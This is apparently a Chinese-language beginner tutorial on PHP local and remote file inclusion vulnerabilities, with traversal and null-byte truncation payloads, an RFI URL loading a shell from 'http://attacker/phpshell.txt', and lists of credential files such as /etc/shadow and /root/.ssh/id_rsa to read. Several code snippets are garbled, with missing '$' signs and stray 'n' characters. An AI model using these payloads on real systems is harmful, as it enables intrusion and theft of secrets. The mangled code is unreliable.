PHP文件包含介紹及一些利用方式

本文搜集了一些前人的總結,主要介紹了PHP本地和遠程文件包含,以及其利用方式。 主要供信息安全初學者閱讀。

文件包含介紹

嚴格來說,文件包含漏洞是「代碼注入「的一種。代碼注入的原理就是注入一段用戶能控制的腳本或代碼,並讓服務端執行。

代碼注入的典型代表就是文件包含。文件包含可能會出現在JSP、PHP、ASP等語言中。

常見的導致文件包含的函數如下:

  • PHP: include(), include_once(), require(),require_once, fopen(), readfile() ….

  • JSP/Servlet: ava.io.File(),java.io.FileReader() …

  • ASP:include file, include virtual…

PHP文件包含主要由這四個函數完成:

  • include()

  • require()

  • include_once()

  • require_once()

當使用這4個函數包含一個新的文件時,該文件將作為PHP代碼執行,PHP內核並不會在意該被包含文件是什麼類型。所以如果被包含的是txt文件、圖片文件、遠程URL,也都將作為PHP代碼執行。

比如DVWA low等級的文件上傳

<?php include($_GET[page]);?>n

在同目錄留一個包含了可執行的PHP代碼的txt文件

再執行漏洞URL,發現代碼被執行了

要成功的利用文件包含漏洞,需要滿足下面兩個條件:

  • include()等函數通過動態變數的方式引入需要包含的文件

  • 用戶能夠控制該動態變數

下面我們深入看看文件包含漏洞還能導致哪些後果

本地文件包含

普通本地文件包含

能夠打開並包含本地文件的漏洞,被稱為本地文件包含漏洞(Local File Inclusion/LFI)。比如下面這段代碼就存在LFI漏洞。

<?phpnfile = _GET[『file』]; // 「../../etc/passwd0nif (file_exisits(/home/wwwrun/.$file..php』)) {n //file_exists will return true as the file/home/wwwrun/../../etc/passwd exists n Include/home/wwwrun/.$file..php』;n // the file /etc/passwd will be includedn}n?>n

用戶能夠控制參數file。當file的值為../../etc/passwd時,PHP將訪問/etc/passwd文件。

但是在此之前,還需要解決Include『/home/wwwrun/』.$file.』.php』;

這種寫法將變數與字元串連接起來,假如用戶控制$file的值為../../etc/passwd,這段代碼相當於Include『/home/wwwrun/../../etc/passwd.php』;

被包含的文件實際上是/etc/passwd.php,但是實際上這個文件是不存在的

有限制的本地文件包含

%00截斷

PHP內核是由C語言實現的,因此使用了C語言中 的一些字元串處理函數。在連接字元串時,0位元組(x00)將作為字元串結束符。所以在這個地方,只要在最後加入一個0位元組,就能截斷file變數之後的字元串,即

../../etc/passwd0

在Web輸入時只需URL編碼一下,變成

../../etc/passwd%00

(需要 magic_quotes_gpc=off,PHP小於5.3.4有效)

%00截斷目錄遍歷

?file=../../../../../../../../../var/www/%00

(需要 magic_quotes_gpc=off,unix文件系統,比如FreeBSD,OpenBSD,NetBSD,Solaris)

防禦%00截斷

在一般的Web應用中,0位元組是用戶不需要的,因此可以完全禁用0位元組,比如:

<?phpnfunction getVar($name){n value =isset(GET[name] ? GET[$name] : null; n if(is_string($value)){n value= str_replace(「0」, , value); n }n}n?>n

構造長目錄截斷

但是光防禦0位元組是肯定不夠的。俗話說上有政策下有對策,國內的安全研究者cloie發現了一個技巧——利用操作系統對目錄最大長度的限制,可以不需要0位元組而達到截斷的目的。

目錄字元串在Windows下256位元組、Linux下4096位元組時達到最大值,最大值長度之後的字元將被丟棄。

而只需通過【./】就可以構造出足夠長的目錄。比如

././././././././././././././././passwd

或者

////////////////////////passwd

又或者

../1/abc/../1/abc/../1/abc..

(php版本小於5.2.8(?)可以成功,linux需要文件名長於4096,windows需要長於256)

點號截斷

?file=../../../../../../../../../boot.ini/………[…]…………

(php版本小於5.2.8(?)可以成功,只適用windows,點號需要長於256)

普通遠程文件包含

如果PHP的配置選項allow_url_include為ON的話(默認是關閉的),則include/require函數是可以載入遠程文件的,這種漏洞被稱為遠程文件包含漏洞(Remote File Inclusion,簡稱RFI)

例如:

<?phpnif($route == "share"){n require_once $basePath ./action/m_share.php;n}nelseif($route == "sharelink"){n require_once $basePath ./action/m_sharelink.php;}n?>n

在$basePath前沒有設置任何障礙,因此攻擊者可以構造類似如下的惡意URL:

/?param=http://attacker/phpshell.txt?n

最終載入的代碼實際上執行了:

require_once http://attacker/phpshell.txt?/action/m_share.php;n

問號後面的代碼最終被解釋成URL的querystring(查詢用字元串),這也算一種截斷方式,這是利用遠程文件包含漏洞時的常見技巧。同樣,%00也可以作為截斷符號。

本地文件包含的利用技巧

本地文件包含漏洞,是有機會執行php代碼的,但這取決於一些條件

經過不懈研究,安全研究者總結出了一下幾種常見的技巧,用於本地文件包含後執行php代碼。

(1)包含用戶上傳的文件

(2)包含data://或php://input等偽協議

(3)包含session文件

(4)包含日誌文件

(5)包含/proc/self/environ

(6)包含上傳的臨時文件

(7)包含其他應用創建的文件,如資料庫文件,緩存文件,應用日誌等,需具體問題具體分析

常見利用方式

<?phpinclude("inc/" . $_GET[file]); ?>

  • 包含同目錄下的文件:

?file=.htaccess

  • 目錄遍歷:

?file=../../../../../../../../../var/lib/locate.db

?file=../../../../../../../../../var/lib/mlocate/mlocate.db

(linux中這兩個文件儲存著所有文件的路徑,需要root許可權)

  • 包含錯誤日誌:?file=../../../../../../../../../var/log/apache/error.log (試試把UA設置為「」來使payload進入日誌)

  • 獲取web目錄或者其他配置文件:

?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf

  • 包含上傳的附件:

?file=../attachment/media/xxx.file

  • 讀取session文件:

?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7

(session文件一般在/tmp目錄下,格式為sess_[your phpsessid value],有時候也有可能在/var/lib/php5之類的,在此之前建議先讀取配置文件。在某些特定的情況下如果你能夠控制session的值,也許你能夠獲得一個shell)

  • 如果擁有root許可權還可以試試讀這些東西:

/root/.ssh/authorized_keys

/root/.ssh/id_rsa

/root/.ssh/id_rsa.keystore

/root/.ssh/id_rsa.pub

/root/.ssh/known_hosts

/etc/shadow

/root/.bash_history

/root/.mysql_history

/proc/self/fd/fd[0-9]* (文件標識符)

/proc/mounts

/proc/config.gz

  • 如果有phpinfo可以包含臨時文件:

參考:

[1]《白帽子講Web安全》,吳翰清

[2]PHP文件包含漏洞總結 - wangjian1012的博客 - 博客頻道 - CSDN.NET


推薦閱讀:

備份文件:被低估的Web威脅

TAG:信息安全 | 服务器安全 | PHP |